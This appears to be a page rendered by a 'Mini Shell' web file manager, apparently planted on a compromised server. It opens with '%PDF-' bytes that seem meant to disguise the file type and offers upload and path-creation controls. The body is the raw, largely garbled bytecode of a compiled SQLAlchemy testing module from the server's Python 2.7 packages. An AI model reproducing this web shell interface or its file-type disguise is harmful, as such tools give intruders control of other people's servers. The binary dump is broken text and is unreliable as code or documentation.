%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/schema.pyc

�
��4]c@sqddlmZddlmZddlmZddlmZddgZiZd�Zd	�Zd
�Z	dS(i(tconfig(t
exclusionsi(tevent(tschematTabletColumnc
s��fd�t��D�}�jt�tjtjd�r�d�kr�d�kr�d�kr�d|kszd|kr�d�d<q�d	�d<q�ntjtjd
�r�|d}tjjj	j
}g|D].}t|tj
�r�|jD]}|^q�q�}x�|D]�}|j}t|tj
�r:|jj}	n||�d}	|	|kr
|jd
krqd|_n|jd
kr�d|_q�q
q
Wntj|��S(s8A schema.Table wrapper/hook for dialect-specific tweaks.cs1i|]'}|jd�r�j|�|�qS(ttest_(t
startswithtpop(t.0tk(tkw(sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/schema.pys
<dictcomp>s	tmysqltmysql_enginet
mysql_typet
autoload_witht
test_needs_fkttest_needs_acidtInnoDBtMyISAMtfirebirditCASCADEN(tlisttupdatet
table_optionsRtagainstRt_currenttdbtdialecttidentifier_preparertunformat_identifierst
isinstanceRRtforeign_keyst_colspecttabletnametondeletetNonetonupdateR(
targsRt	test_optst
table_nametunpacktcoltfktfkstrefR#((RsL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/schema.pyRs6




	cs�fd�t��D�}tjjjt�s_g|D]}t|tj�s8|^q8}ntj|��}|j	dt
�r�j	dt
�r|jd	kr�|j
d	kr�t|_nt|jd<tjtjdd�rd�}tj|d|dt�qn|S(
s9A schema.Column wrapper/hook for dialect-specific tweaks.cs1i|]'}|jd�r�j|�|�qS(R(RR(R	R
(R(sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/schema.pys
<dictcomp>Js	ttest_needs_autoincrementtprimary_keyRtoraclecSsA|jtjttjj|jd|jd�dt��dS(Nt_t_seqtoptional(	t_init_itemsRtSequencet_truncate_nameRRRR#tTrue(tcttbl((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/schema.pytadd_seq^s
$tafter_parent_attacht	propagateN(RRtrequirementstforeign_key_ddltenabled_for_configRRt
ForeignKeyRtgettFalsetdefaultR%tserver_defaultR8t
autoincrementtinfoRRRRtlisten(R'RR(targR+R;((RsL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/schema.pyRGs.
	
cCsTt|�|jkrL|dt|jdd�!dtt|�d�dS|SdS(NiiR2i@i(tlentmax_identifier_lengthtmaxthexthash(RR#((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/schema.pyR7ls7N(
tRRRRt__all__RRRR7(((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/schema.pyt<module>s	4	%

Zerion Mini Shell 1.0